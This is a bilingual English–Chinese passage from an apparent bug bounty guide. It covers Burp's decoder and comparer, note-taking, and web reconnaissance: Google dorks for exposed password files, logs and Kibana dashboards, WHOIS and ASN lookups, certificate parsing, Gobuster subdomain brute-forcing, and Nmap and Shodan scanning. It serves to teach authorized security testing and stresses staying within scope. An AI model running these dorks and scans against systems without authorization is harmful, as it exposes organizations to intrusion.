The Burp decoder is a convenient way to encode and decode data you find in requests and responses ( Figure 4-15 ). Most often, I use it to decode, manipulate, and re-encode application data before forwarding it to applications.

“Burp解码器是一种方便的编码和解码工具，可用于处理请求和响应中的数据（图4-15）。我经常使用它来解码、操作和重新编码应用程序数据，然后将其转发给应用程序。”

Figure 4-15 : You can use the decoder to decode application data to read or manipulate its plaintext.

图4-15：您可以使用解码器将应用程序数据解码，以读取或操作其明文。

Send data to the decoder by highlighting a block of text in any request or response, then right-clicking it and selecting Send to decoder . Use the drop-down menus on the right to specify the algorithm to use to encode or decode the message. If you’re not sure which algorithm the message is encoded with, try to Smart decode it. Burp will try to detect the encoding, and decode the message accordingly.

通过在任何请求或响应中突出显示文本块，然后右键单击它并选择发送到解码器，将数据发送到解码器。使用右侧的下拉菜单指定用于编码或解码消息的算法。如果您不确定消息使用哪个算法进行编码，请尝试智能解码。Burp将尝试检测编码，并相应地解码消息。

The Comparer

The comparer is a way to compare requests or responses ( Figure 4-16 ). It highlights the differences between two blocks of text. You might use it to examine how a difference in parameters impacts the response you get from the server, for example.

比较器是一种比较请求或响应的方式（图4-16）。它突出显示两个文本块之间的差异。例如，您可以使用它来检查参数差异如何影响您从服务器获取的响应。

Send data over to the comparer by highlighting a block of text in any request or response, then right-clicking it and selecting Send to comparer .

通过在任何请求或响应中突出显示一段文本块，然后右键单击该文本块并选择发送到比较器，将数据发送到比较器。

Figure 4-16 : The comparer will highlight the differences between two blocks of text.

图4-16：比较器将突出显示两个文本块之间的差异。

Saving Burp Requests

You can save requests and responses on Burp as well. Simply right-click any request and select Copy URL , Copy as curl command , or Copy to file to store these results into your note folder for that target. The Copy URL option copies the URL of the request. The Copy as curl command copies the entire request, including the request method, URL, headers, and body as a curl command. Copy to file saves the entire request to a separate file.

您还可以在Burp上保存请求和响应。只需右键单击任何请求，然后选择"复制URL"，"复制为curl命令"或"复制到文件"，将这些结果存储到该目标的笔记文件夹中。 "复制URL"选项会复制请求的URL。"复制为curl命令"会将整个请求，包括请求方法、URL、头部和正文，复制为一个curl命令。"复制到文件"会将整个请求保存到一个单独的文件中。

A Final Note on . . . Taking Notes

Before you get started looking for vulnerabilities in the next chapter, a quick word of advice: organizational skills are critical if you want to succeed in bug bounties. When you work on targets with large scopes or hack multiple targets at the same time, the information you gather from the targets could balloon and become hard to manage.

在你开始寻找下一章的漏洞之前，快速给你一个建议：组织能力对于成功参与漏洞赏金计划至关重要。当你在大型目标上工作或同时攻击多个目标时，你从目标中收集到的信息可能会爆炸式增长并变得难以管理。

Often, you won’t be able to find bugs right away. Instead, you’ll spot a lot of weird behaviors and misconfigurations that aren’t exploitable at the moment but that you could combine with other behavior in an attack later on. You’ll need to take good notes about any new features, misconfigurations, minor bugs, and suspicious endpoints that you find so you can quickly go back and use them.

通常，您可能无法立即发现漏洞。相反，您会发现许多奇怪的行为和错误配置，它们目前无法被利用，但您以后可能会将其与其他行为结合在一起进行攻击。您需要用心记录任何新功能、错误配置、小错误和可疑的终端节点，以便您可以快速回来使用它们。

Notes also help you plan attacks. You can keep track of your hacking progress, the features you’ve tested, and those you still have to check. This prevents you from wasting time by testing the same features over and over again.

笔记也可以帮助你规划攻击。你可以追踪你的黑客进度，你已经测试过的功能以及你还需要检查的功能。这可以防止你反复测试同样的功能而浪费时间。

Another good use of notes is to jot down information about the vulnerabilities you learn about. Record details about each vulnerability, such as its theoretical concept, potential impact, exploitation steps, and sample proof-of-concept code. Over time, this will strengthen your technical skills and build up a technique repository that you can revisit if needed.

笔记的另一个好用处是记录你学到的漏洞信息。要记录每个漏洞的细节，如理论概念、潜在影响、攻击步骤和样本概念证明代码等。随着时间的推移，这将加强你的技术能力和建立一个技术库，如果需要时可以重新查看。

Since these notes tend to balloon in volume and become very disorganized, it’s good to keep them organized from the get-go. I like to take notes in plaintext files by using Sublime Text ( https://www.sublimetext.com/ ) and organize them by sorting them into directories, with subdirectories for each target and topic.

由于这些笔记往往数量庞大且杂乱无章，从一开始就保持有组织是很好的。我喜欢使用 Sublime Text（https://www.sublimetext.com/）在纯文本文件中记录笔记，并通过将它们分类到目录中组织它们，为每个目标和主题创建子目录。

For example, you can create a folder for each target you’re working on, like Facebook, Google, or Verizon. Then, within each of these folders, create files to document interesting endpoints, new and hidden features, reconnaissance results, draft reports, and POCs.

例如，您可以为每个目标创建一个文件夹，比如Facebook、Google或Verizon。然后，在每个文件夹中，创建文件以记录有趣的终端、新的和隐藏的特性、侦察结果、草稿报告和 POCs。

Find a note-taking and organizational strategy that works for you. For example, if you are like me and prefer to store notes in plaintext, you can search around for an integrated development environment (IDE) or text editor that you feel the most comfortable in. Some prefer to take notes using the Markdown format. In this case, Obsidian ( https://obsidian.md/ ) is an excellent tool that displays your notes in an organized way. If you like to use mind maps to organize your ideas, you can try the mind-mapping tool XMind ( https://www.xmind.net/ ).

寻找适合自己的笔记和组织策略。例如，如果你像我一样喜欢将笔记存储为纯文本，可以寻找一个你感觉最舒适的集成开发环境（IDE）或文本编辑器。有些人喜欢使用Markdown格式记录笔记。在这种情况下，Obsidian是一个出色的工具，可以有序地显示笔记（https://obsidian.md/）。如果你喜欢使用思维导图来组织你的思路，可以试试思维导图工具XMind（https://www.xmind.net/）。

Keep your bug bounty notes in a centralized place, such as an external hard drive or cloud storage service like Google Drive or Dropbox, and don’t forget to back up your notes regularly!

将您的漏洞赏金笔记保存在集中的地方，比如外部硬盘或像Google Drive或Dropbox这样的云存储服务中，并不要忘记定期进行备份！

In summary, here are a few tips to help you take good notes:

以下是几个帮助您记好笔记的小贴士：

Take notes about any weird behaviors, new features, misconfigurations, minor bugs, and suspicious endpoints to keep track of potential vulnerabilities.

Take notes to keep track of your hacking progress, the features you’ve tested, and those you still have to check.

Take notes while you learn: jot down information about each vulnerability you learn about, like its theoretical concept, potential impact, exploitation steps, and sample POC code.

Keep your notes organized from the get-go, so you can find them when you need to!

Find a note-taking and organizational process that works for you. You can try out note-taking tools like Sublime Text, Obsidian, and XMind to find a tool that you prefer.

5
Web Hacking Reconnaissance

The first step to attacking any target is conducting reconnaissance , or simply put, gathering information about the target. Reconnaissance is important because it’s how you figure out an application’s attack surface. To look for bugs most efficiently, you need to discover all the possible ways of attacking a target before deciding on the most effective approach.

攻击任何目标的第一步是进行侦察，或者简单地说，收集有关目标的信息。侦察是重要的，因为它是您确定应用程序攻击面的方式。为了最有效地寻找漏洞，您需要在决定最有效的方法之前发现攻击目标的所有可能方法。

If an application doesn’t use PHP, for instance, there’s no reason to test it for PHP vulnerabilities, and if the organization doesn’t use Amazon Web Services (AWS), you shouldn’t waste time trying to crack its buckets. By understanding how a target works, you can set up a solid foundation for finding vulnerabilities. Recon skills are what separate a good hacker from an ineffective one.

如果一个应用程序不使用PHP，那么就没有理由为其测试PHP漏洞，如果组织不使用Amazon Web Services（AWS），您就不应该浪费时间尝试破解其存储桶。通过了解目标的工作原理，您可以为发现漏洞建立坚实的基础。侦察技能是区分好的黑客和无效的黑客的关键。

In this chapter, I’ll introduce the most useful recon techniques for a bug bounty hunter. Then I’ll walk you through the basics of writing bash scripts to automate recon tasks and make them more efficient. Bash is a shell interpreter available on macOS and Linux systems. Though this chapter assumes you’re using a Linux system, you should be able to install many of these tools on other operating systems as well. You need to install some of the tools we discuss in this chapter before using them. I have included links to all the tools at the end of the chapter.

在这一章节，我将介绍适用于漏洞赏金猎人最有用的侦查技巧。然后，我将向您介绍编写Bash脚本以自动化侦查任务并使其更加高效的基础知识。Bash是可在macOS和Linux系统上使用的shell解释器。尽管本章假设您使用的是Linux系统，但您也应该能够在其他操作系统上安装许多这些工具。在使用这些工具之前，您需要安装本章中讨论的一些工具。我已在本章末尾附上了所有工具的链接。

Before you go on, please verify that you’re allowed to perform intrusive recon on your target before you attempt any techniques that actively engage with it. In particular, activities like port scanning, spidering, and directory brute-forcing can generate a lot of unwanted traffic on a site and may not be welcomed by the organization.

在继续之前，请先确认你有权进行有侵入性的侦察行为，再尝试那些会主动对目标发起攻击的技术。特别是像端口扫描、蜘蛛爬行和目录爆破等活动，可能会在网站上产生大量不必要的流量，并可能不被该组织所欢迎。

Manually Walking Through the Target

Before we dive into anything else, it will help to first manually walk through the application to learn more about it. Try to uncover every feature in the application that users can access by browsing through every page and clicking every link. Access the functionalities that you don’t usually use.

在我们深入讨论其他内容之前，首先手动浏览一遍应用程序会有所帮助，以更好地了解它。尝试浏览每一页并点击每个链接，揭示用户可以访问的应用程序中的每个功能。使用通常不用的功能。

For example, if you’re hacking Facebook, try to create an event, play a game, and use the payment functionality if you’ve never done so before. Sign up for an account at every privilege level to reveal all of the application’s features. For example, on Slack, you can create owners, admins, and members of a workspace. Also create users who are members of different channels under the same workspace. This way, you can see what the application looks like to different users.

例如，如果你想要黑客Facebook，尝试创建一个事件，玩一个游戏，并使用付款功能（如果你以前从未使用过）。在每个特权级别上注册一个帐户，以揭示应用程序的所有功能。例如，在Slack上，你可以创建工作区的所有者、管理员和成员。还可以创建不同频道下的成员用户。这样，你就可以看到应用程序对不同用户的外观。

This should give you a rough idea of what the attack surface (all of the different points at which an attacker can attempt to exploit the application) looks like, where the data entry points are, and how different users interact with each other. Then you can start a more in-depth recon process: finding out the technology and structure of an application.

这应该给你一个大致的概念，攻击面（攻击者可以尝试利用应用程序的所有不同点）是什么样子的，数据输入点在哪里，不同用户如何相互交互。然后你就可以开始更深入的侦查过程：了解应用程序的技术和结构。

Google Dorking

When hunting for bugs, you’ll often need to research the details of a vulnerability. If you’re exploiting a potential cross-site scripting (XSS) vulnerability, you might want to find a particular payload you saw on GitHub. Advanced search-engine skills will help you find the resources you need quickly and accurately.

寻找漏洞时，你经常需要研究漏洞的具体细节。如果你正在利用一个可能存在的跨站脚本漏洞，你可能希望在GitHub上找到一个特定的有效载荷。高级搜索引擎技巧将帮助你快速准确地找到所需的资源。

In fact, advanced Google searches are a powerful technique that hackers often use to perform recon. Hackers call this Google dorking . For the average Joe, Google is just a text search tool for finding images, videos, and web pages. But for the hacker, Google can be a means of discovering valuable information such as hidden admin portals, unlocked password files, and leaked authentication keys.

实际上，高级的谷歌搜索是黑客经常用来进行侦查的强大技术。黑客称之为谷歌搜索。对于普通人来说，谷歌只是一个文本搜索工具，用于查找图像、视频和网页。但对于黑客来说，谷歌可以成为一种发现有价值信息的手段，比如隐藏的管理员门户、解锁的密码文件和泄露的认证密钥。

Google’s search engine has its own built-in query language that helps you filter your searches. Here are some of the most useful operators that can be used with any Google search:

谷歌搜索引擎拥有自己的内置查询语言，可帮助您过滤搜索结果。以下是一些可与任何谷歌搜索一起使用的最有用的运算符：

site

网站

Tells Google to show you results from a certain site only. This will help you quickly find the most reputable source on the topic that you are researching. For example, if you wanted to search for the syntax of Python’s print() function, you could limit your results to the official Python documentation with this search: print site:python.org .

inurl

inurl: 在网址中包含指定关键词

Searches for pages with a URL that match the search string. It’s a powerful way to search for vulnerable pages on a particular website. Let’s say you’ve read a blog post about how the existence of a page called /course/jumpto.php on a website could indicate that it’s vulnerable to remote code execution. You can check if the vulnerability exists on your target by searching inurl:"/course/jumpto.php" site:example.com .

intitle

标题

Finds specific strings in a page’s title. This is useful because it allows you to find pages that contain a particular type of content. For example, file-listing pages on web servers often have index of in their titles. You can use this query to search for directory pages on a website: intitle:"index of" site:example.com .

link

链接

Searches for web pages that contain links to a specified URL. You can use this to find documentation about obscure technologies or vulnerabilities. For example, let’s say you’re researching the uncommon regular expression denial-of-service (ReDoS) vulnerability. You’ll easily pull up its definition online but might have a hard time finding examples. The link operator can discover pages that reference the vulnerability’s Wikipedia page to locate discussions of the same topic: link:"https://en.wikipedia.org/wiki/ReDoS" .

filetype

文件类型

Searches for pages with a specific file extension. This is an incredible tool for hacking; hackers often use it to locate files on their target sites that might be sensitive, such as log and password files. For example, this query searches for log files, which often have the .log file extension, on the target site: filetype:log site:example.com .

Wildcard ( * )

通配符 (*)

You can use the wildcard operator ( * ) within searches to mean any character or series of characters . For example, the following query will return any string that starts with how to hack and ends with using Google . It will match with strings like how to hack websites using Google , how to hack applications using Google , and so on: "how to hack * using Google" .

Quotes ( " " )

“Quotes” → “引号”

Adding quotation marks around your search terms forces an exact match. For example, this query will search for pages that contain the phrase how to hack : "how to hack" . And this query will search for pages with the terms how , to , and hack , although not necessarily together: how to hack .

Or ( | )

或 (|)

The or operator is denoted with the pipe character ( | ) and can be used to search for one search term or the other, or both at the same time. The pipe character must be surrounded by spaces. For example, this query will search for how to hack on either Reddit or Stack Overflow: "how to hack" site:(reddit.com | stackoverflow.com) . And this query will search for web pages that mention either SQL Injection or SQLi : (SQL Injection | SQLi) . SQLi is an acronym often used to refer to SQL injection attacks, which we’ll talk about in Chapter 11 .

Minus ( - )

减号 (-)

The minus operator ( - ) excludes certain search results. For example, let’s say you’re interested in learning about websites that discuss hacking, but not those that discuss hacking PHP. This query will search for pages that contain how to hack websites but not php : "how to hack websites" -php .

You can use advanced search engine options in many more ways to make your work more efficient. You can even search for the term Google search operators to discover more. These operators can be more useful than you’d expect. For example, look for all of a company’s subdomains by searching as follows:

您可以利用搜索引擎的高级选项来更加高效地完成工作。您甚至可以搜索“Google搜索运算符”等术语，从而发现更多有用的选项。这些运算符可能比您预期的更加有用。例如，您可以通过以下方式搜索所有公司子域名：

site:*.example.com

You can also look for special endpoints that can lead to vulnerabilities. Kibana is a data visualization tool that displays server operation data such as server logs, debug messages, and server status. A compromised Kibana instance can allow attackers to collect extensive information about a site’s operation. Many Kibana dashboards run under the path app/kibana , so this query will reveal whether the target has a Kibana dashboard. You can then try to access the dashboard to see if it’s unprotected:

您还可以寻找可以导致漏洞的特殊终端点。Kibana是一款数据可视化工具，可以显示服务器操作数据，例如服务器日志、调试信息和服务器状态。被攻击的Kibana实例可以允许攻击者收集关于网站运营的广泛信息。许多Kibana仪表板运行在路径app / kibana下，因此此查询将揭示目标是否具有Kibana仪表板。然后，您可以尝试访问仪表板，以查看它是否未受保护：

site:example.com inurl:app/kibana

Google can find company resources hosted by a third party online, such as Amazon S3 buckets (we’ll talk about these in more detail in “Third-Party Hosting” on page 74 ):

谷歌可以找到由第三方在网上托管的公司资源，例如 Amazon S3 存储桶（我们将在第 74 页的“第三方托管”中更详细地介绍这些）。

site:s3.amazonaws.com COMPANY_NAME

Look for special extensions that could indicate a sensitive file. In addition to .log , which often indicates log files, search for .php , cfm , asp , .jsp , and .pl , the extensions often used for script files:

寻找能指示敏感文件的特殊扩展名。除了常见的.log表示日志文件外，还要搜索.php、cfm、asp、.jsp和.pl等扩展名，它们通常用于脚本文件。

site:example.com ext:php
site:example.com ext:log

Finally, you can also combine search terms for a more accurate search. For example, this query searches the site example.com for text files that contain password :

最后，您也可以将搜索词组合起来以获得更准确的搜索结果。例如，以下查询在 example.com 网站中搜索包含密码的文本文件：

site:example.com ext:txt password

In addition to constructing your own queries, check out the Google Hacking Database ( https://www.exploit-db.com/google-hacking-database/ ), a website that hackers and security practitioners use to share Google search queries for finding security-related information. It contains many search queries that could be helpful to you during the recon process. For example, you can find queries that look for files containing passwords, common URLs of admin portals, or pages built using vulnerable software.

除了构建自己的查询之外，你还可以查看Google黑客数据库（https://www.exploit-db.com/google-hacking-database/），这是黑客和安全从业人员用来共享查找安全相关信息的Google搜索查询的网站。它包含许多在侦察过程中对你有用的搜索查询。例如，你可以找到查找包含密码的文件、管理员门户的常见URL或使用易受攻击软件构建的页面的查询。

While you are performing recon using Google search, keep in mind that if you’re sending a lot of search queries, Google will start requiring CAPTCHA challenges for visitors from your network before they can perform more searches. This could be annoying to others on your network, so I don’t recommend Google dorking on a corporate or shared network.

当你使用Google搜索进行侦察时，请记住，如果你发送了大量的搜索查询，Google将开始要求来自你的网络的访问者进行CAPTCHA挑战，然后才能执行更多的搜索。这可能会对你的网络上的其他人造成麻烦，所以我不建议在公司或共享网络上进行Google dorking。

Scope Discovery

Let’s now dive into recon itself. First, always verify the target’s scope. A program’s scope on its policy page specifies which subdomains, products, and applications you’re allowed to attack. Carefully verify which of the company’s assets are in scope to avoid overstepping boundaries during the recon and hacking process. For example, if example.com ’s policy specifies that dev.example.com and test.example.com are out of scope, you shouldn’t perform any recon or attacks on those subdomains.

让我们现在深入了解侦察本身。首先，始终验证目标的范围。一个程序在其策略页面上的范围指定了您可以攻击的子域、产品和应用程序。仔细验证公司的哪些资产在范围内，以避免在侦察和黑客过程中越界。例如，如果 example.com 的策略指定 dev.example.com 和 test.example.com 不在范围内，则不应在这些子域上执行任何侦查或攻击。

Once you’ve verified this, discover what’s actually in the scope. Which domains, subdomains, and IP addresses can you attack? What company assets is the organization hosting on these machines?

一旦您验证了这一点，就要发现实际上是什么范围。您可以攻击哪些域名、子域名和IP地址？这些机器上组织主持着哪些公司资产？

WHOIS and Reverse WHOIS

When companies or individuals register a domain name, they need to supply identifying information, such as their mailing address, phone number, and email address, to a domain registrar. Anyone can then query this information by using the whois command, which searches for the registrant and owner information of each known domain. You might be able to find the associated contact information, such as an email, name, address, or phone number:

当公司或个人注册域名时，他们需要向域名注册机构提供识别信息，例如邮寄地址、电话号码和电子邮件地址。然后任何人都可以通过使用whois命令查询这些信息，该命令搜索每个已知域的注册人和所有者信息。您可能会找到相关的联系信息，例如电子邮件、姓名、地址或电话号码。

$ whois facebook.com

This information is not always available, as some organizations and individuals use a service called domain privacy , in which a third-party service provider replaces the user’s information with that of a forwarding service.

有些组织和个人使用域名隐私服务，第三方服务提供商会替换用户信息以达到转发服务的目的，这些信息并未总是可用。

You could then conduct a reverse WHOIS search, searching a database by using an organization name, a phone number, or an email address to find domains registered with it. This way, you can find all the domains that belong to the same owner. Reverse WHOIS is extremely useful for finding obscure or internal domains not otherwise disclosed to the public. Use a public reverse WHOIS tool like ViewDNS.info ( https://viewdns.info/reversewhois/ ) to conduct this search. WHOIS and reverse WHOIS will give you a good set of top-level domains to work with.

您可以进行反向WHOIS搜索，通过使用组织名称、电话号码或电子邮件地址搜索数据库，找到注册在其名下的域名。这样，您可以找到属于同一所有者的所有域名。反向WHOIS非常有用，可用于查找未公开的模糊或内部域名。使用公共反向WHOIS工具，如ViewDNS.info（https://viewdns.info/reversewhois/）进行此搜索。WHOIS和反向WHOIS将为您提供一组好的顶级域名。

IP Addresses

Another way of discovering your target’s top-level domains is to locate IP addresses. Find the IP address of a domain you know by running the nslookup command. You can see here that facebook.com is located at 157.240.2.35:

发现目标顶级域名的另一种方法是查找IP地址。运行nslookup命令来查找您已知的域名的IP地址。您可以在这里看到，Facebook.com位于157.240.2.35：

$ nslookup facebook.com
Server: 192.168.0.1
Address: 192.168.0.1#53
Non-authoritative answer:
Name: facebook.com
Address: 157.240.2.35

Once you’ve found the IP address of the known domain, perform a reverse IP lookup. Reverse IP searches look for domains hosted on the same server, given an IP or domain. You can also use ViewDNS.info for this.

一旦您找到已知域名的IP地址，就执行反向IP查找。反向IP搜索寻找在同一服务器上托管的域名，给定一个IP或者域名。您也可以使用ViewDNS.info来进行此操作。

Also run the whois command on an IP address, and then see if the target has a dedicated IP range by checking the NetRange field. An IP range is a block of IP addresses that all belong to the same organization. If the organization has a dedicated IP range, any IP you find in that range belongs to that organization:

也要在IP地址上运行whois命令，查看NetRange字段以确定目标是否拥有专用IP范围。IP范围是属于同一组织的一组IP地址。如果该组织拥有专用IP范围，任何在该范围内的IP都属于该组织。

$ whois 157.240.2.35
NetRange:       157.240.0.0 - 157.240.255.255
CIDR:           157.240.0.0/16
NetName:        THEFA-3
NetHandle:      NET-157-240-0-0-1
Parent:         NET157 (NET-157-0-0-0-0)
NetType:        Direct Assignment
OriginAS:
Organization:   Facebook, Inc. (THEFA-3)
RegDate:        2015-05-14
Updated:        2015-05-14
Ref:            https://rdap.arin.net/registry/ip/157.240.0.0
OrgName:        Facebook, Inc.
OrgId:          THEFA-3
Address:        1601 Willow Rd.
City:           Menlo Park
StateProv:      CA
PostalCode:     94025
Country:        US
RegDate:        2004-08-11
Updated:        2012-04-17
Ref:            https://rdap.arin.net/registry/entity/THEFA-3
OrgAbuseHandle: OPERA82-ARIN
OrgAbuseName:   Operations
OrgAbusePhone:  +1-650-543-4800
OrgAbuseEmail:  noc@fb.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/OPERA82-ARIN
OrgTechHandle: OPERA82-ARIN
OrgTechName:   Operations
OrgTechPhone:  +1-650-543-4800
OrgTechEmail:  noc@fb.com
OrgTechRef:    https://rdap.arin.net/registry/entity/OPERA82-ARIN

Another way of finding IP addresses in scope is by looking at autonomous systems, which are routable networks within the public internet. Autonomous system numbers ( ASNs ) identify the owners of these networks. By checking if two IP addresses share an ASN, you can determine whether the IPs belong to the same owner.

另一种找到范围内 IP 地址的方法是查看自治系统，这些是公共互联网中可路由的网络。自治系统号码（ASN）标识这些网络的所有者。通过检查两个 IP 地址是否共享 ASN，您可以确定这些 IP 是否属于同一所有者。

To figure out if a company owns a dedicated IP range, run several IP-to-ASN translations to see if the IP addresses map to a single ASN. If many addresses within a range belong to the same ASN, the organization might have a dedicated IP range. From the following output, we can deduce that any IP within the 157.240.2.21 to 157.240.2.34 range probably belongs to Facebook:

通过运行多个IP-to-ASN翻译，确定一家公司是否拥有专用IP范围。如果一个范围内的许多地址属于相同的ASN，则该组织可能拥有专用IP范围。从以下输出中，我们可以推断出在157.240.2.21到157.240.2.34范围内的任何IP可能属于Facebook：

$ whois -h whois.cymru.com 157.240.2.20
AS      | IP               | AS Name
32934   | 157.240.2.20     | FACEBOOK, US
$ whois -h whois.cymru.com 157.240.2.27
AS      | IP               | AS Name
32934   | 157.240.2.27     | FACEBOOK, US
$ whois -h whois.cymru.com 157.240.2.35
AS      | IP               | AS Name
32934   | 157.240.2.35     | FACEBOOK, US

The -h flag in the whois command sets the WHOIS server to retrieve information from, and whois.cymru.com is a database that translates IPs to ASNs. If the company has a dedicated IP range and doesn’t mark those addresses as out of scope, you could plan to attack every IP in that range.

whois命令中的-h标志设置要检索信息的WHOIS服务器，而whois.cymru.com是将IP地址翻译为ASN的数据库。如果公司拥有专用IP地址范围，并且没有将这些地址标记为超出范围，您可以计划攻击该范围内的每个IP地址。

Certificate Parsing

Another way of finding hosts is to take advantage of the Secure Sockets Layer (SSL) certificates used to encrypt web traffic. An SSL certificate’s Subject Alternative Name field lets certificate owners specify additional hostnames that use the same certificate, so you can find those hostnames by parsing this field. Use online databases like crt.sh, Censys, and Cert Spotter to find certificates for a domain.

通过利用用于加密 Web 流量的安全套接字层 (SSL) 证书来查找主机的另一种方法。 SSL 证书的主题备用名称字段允许证书所有者指定使用相同证书的其他主机名，因此您可以通过解析此字段找到这些主机名。 使用在线数据库，如 crt.sh、Censys 和 Cert Spotter，以查找域的证书。

For example, by running a certificate search using crt.sh for facebook.com , we can find Facebook’s SSL certificate. You’ll see that that many other domain names belonging to Facebook are listed:

例如，通过使用 crt.sh 对 facebook.com 进行证书搜索，我们可以找到 Facebook 的SSL证书。你会发现许多其他属于 Facebook 的域名也被列出：

X509v3 Subject Alternative Name:
 DNS:*.facebook.com
 DNS:*.facebook.net
 DNS:*.fbcdn.net
 DNS:*.fbsbx.com
 DNS:*.messenger.com
 DNS:facebook.com
 DNS:messenger.com
 DNS:*.m.facebook.com
 DNS:*.xx.fbcdn.net
 DNS:*.xy.fbcdn.net
 DNS:*.xz.fbcdn.net

The crt.sh website also has a useful utility that lets you retrieve the information in JSON format, rather than HTML, for easier parsing. Just add the URL parameter output=json to the request URL: https://crt.sh/?q=facebook.com&output=json.

crt.sh 网站还提供了一个有用的工具，让您以 JSON 格式检索信息，而不是 HTML，以便更容易地解析。只需在请求 URL 中添加 URL 参数 output=json：https://crt.sh/?q=facebook.com&output=json。

Subdomain Enumeration

After finding as many domains on the target as possible, locate as many subdomains on those domains as you can. Each subdomain represents a new angle for attacking the network. The best way to enumerate subdomains is to use automation.

在尽可能发现目标的许多域名后，尽可能定位这些域名上的许多子域。每个子域代表攻击网络的新角度。枚举子域的最佳方法是使用自动化。

Tools like Sublist3r, SubBrute, Amass, and Gobuster can enumerate subdomains automatically with a variety of wordlists and strategies. For example, Sublist3r works by querying search engines and online subdomain databases, while SubBrute is a brute-forcing tool that guesses possible subdomains until it finds real ones. Amass uses a combination of DNS zone transfers, certificate parsing, search engines, and subdomain databases to find subdomains. You can build a tool that combines the results of multiple tools to achieve the best results. We’ll discuss how to do this in “Writing Your Own Recon Scripts” on page 80 .

像 Sublist3r、SubBrute、Amass 和 Gobuster 这样的工具可以使用各种字典和策略自动枚举子域名。例如，Sublist3r 通过查询搜索引擎和在线子域名数据库工作，而 SubBrute 是一种暴力破解工具，可以猜测可能的子域名直到找到真实的域名。Amass 使用 DNS 区域转移、证书解析、搜索引擎和子域名数据库的组合来寻找子域名。您可以构建一个组合多个工具结果的工具，以获得最佳结果。我们将在第 80 页的“编写自己的侦查脚本”中讨论如何实现这一点。

To use many subdomain enumeration tools, you need to feed the program a wordlist of terms likely to appear in subdomains. You can find some good wordlists made by other hackers online. Daniel Miessler’s SecLists at https://github.com/danielmiessler/SecLists/ is a pretty extensive one. You can also use a wordlist generation tool like Commonspeak2 ( https://github.com/assetnote/commonspeak2 /) to generate wordlists based on the most current internet data. Finally, you can combine several wordlists found online or that you generated yourself for the most comprehensive results. Here’s a simple command to remove duplicate items from a set of two wordlists:

使用许多子域名枚举工具，需要为程序提供一个可能出现在子域名中的单词清单。你可以在网上找到其他黑客制作的一些很好的单词清单。Daniel Miessler的SecLists (https://github.com/danielmiessler/SecLists/) 是一个非常全面的清单。你还可以使用一个词汇表生成工具，比如Commonspeak2 (https://github.com/assetnote/commonspeak2/)，基于最新的互联网数据生成词汇表。最后，你可以结合在线找到或自己生成的几个词汇表，以获得最全面的结果。这是一个简单的命令，用于从两个词汇表的集合中删除重复项：

sort -u wordlist1.txt wordlist2.txt

The sort command line tool sorts the lines of text files. When given multiple files, it will sort all files and write the output to the terminal. The -u option tells sort to return only unique items in the sorted list.

sort命令行工具用于排序文本文件的行。当给出多个文件时，它会对所有文件进行排序并将输出写入终端。-u选项告诉sort仅返回排序列表中的唯一项。

Gobuster is a tool for brute-forcing to discover subdomains, directories, and files on target web servers. Its DNS mode is used for subdomain brute-forcing. In this mode, you can use the flag -d to specify the domain you want to brute-force and -w to specify the wordlist you want to use:

Gobuster是一种工具，用于暴力破解目标Web服务器上的子域，目录和文件。它的DNS模式用于子域暴力破解。在此模式下，您可以使用标志-d指定要暴力破解的域名，使用-w指定要使用的单词列表：

gobuster dns -d target_domain -w wordlist

Once you’ve found a good number of subdomains, you can discover more by identifying patterns. For example, if you find two subdomains of example.com named 1.example.com and 3.example.com , you can guess that 2.example.com is probably also a valid subdomain. A good tool for automating this process is Altdns ( https://github.com/infosec-au/altdns/ ), which discovers subdomains with names that are permutations of other subdomain names.

一旦你找到了足够多的子域名，你可以通过识别模式来发现更多。例如，如果你发现example.com的两个子域名分别是1.example.com和3.example.com，那么你可以猜测2.example.com也可能是一个有效的子域名。一个自动化这个过程的好工具是Altdns（https://github.com/infosec-au/altdns/），它可以发现具有其他子域名名称排列组合的名称的子域名。

In addition, you can find more subdomains based on your knowledge about the company’s technology stack. For example, if you’ve already learned that example.com uses Jenkins, you can check if jenkins.example.com is a valid subdomain.

此外，你可以根据你对公司技术栈的了解找到更多的子域名。例如，如果你已经了解到example.com使用Jenkins，你可以检查jenkins.example.com是否是一个有效的子域名。

Also look for subdomains of subdomains. After you’ve found, say, dev.example.com , you might find subdomains like 1.dev.example.com . You can find subdomains of subdomains by running enumeration tools recursively: add the results of your first run to your Known Domains list and run the tool again.

查找子域名的子域名。 当你找到一个比如dev.example.com后，你可能会发现子域名例如1.dev.example.com。 通过递归运行枚举工具，您可以找到子域名的子域名：将第一次运行的结果添加到已知域名列表中，再次运行该工具。

Service Enumeration

Next, enumerate the services hosted on the machines you’ve found. Since services often run on default ports, a good way to find them is by port-scanning the machine with either active or passive scanning.

接下来，列出您发现的机器上托管的服务。由于服务通常在默认端口上运行，因此使用主动或被动扫描扫描机器是找到它们的好方法。

In active scanning , you directly engage with the server. Active scanning tools send requests to connect to the target machine’s ports to look for open ones. You can use tools like Nmap or Masscan for active scanning. For example, this simple Nmap command reveals the open ports on scanme.nmap.org :

在主动扫描中，你直接与服务器交互。主动扫描工具会发送请求以连接到目标机器的端口，以查找开放的端口。你可以使用像Nmap或Masscan这样的工具进行主动扫描。例如，这个简单的Nmap命令可以揭示scanme.nmap.org上的开放端口：

$ nmap scanme.nmap.org
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.086s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 993 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 230.83 seconds

On the other hand, in passive scanning , you use third-party resources to learn about a machine’s ports without interacting with the server. Passive scanning is stealthier and helps attackers avoid detection. To find services on a machine without actively scanning it, you can use Shodan , a search engine that lets the user find machines connected to the internet.

另一方面，在被动扫描中，您使用第三方资源来了解机器的端口，而无需与服务器进行交互。被动扫描更加隐秘，帮助攻击者避免被发现。要在不活跃扫描机器的情况下查找该机器的服务，您可以使用Shodan，这是一个搜索引擎，允许用户查找连接到互联网的机器。

With Shodan, you can discover the presence of webcams, web servers, or even power plants based on criteria such as hostnames or IP addresses. For example, if you run a Shodan search on scanme.nmap.org ’s IP address, 45.33.32.156, you get the result in Figure 5-1 . You can see that the search yields different data than our port scan, and provides additional information about the server.

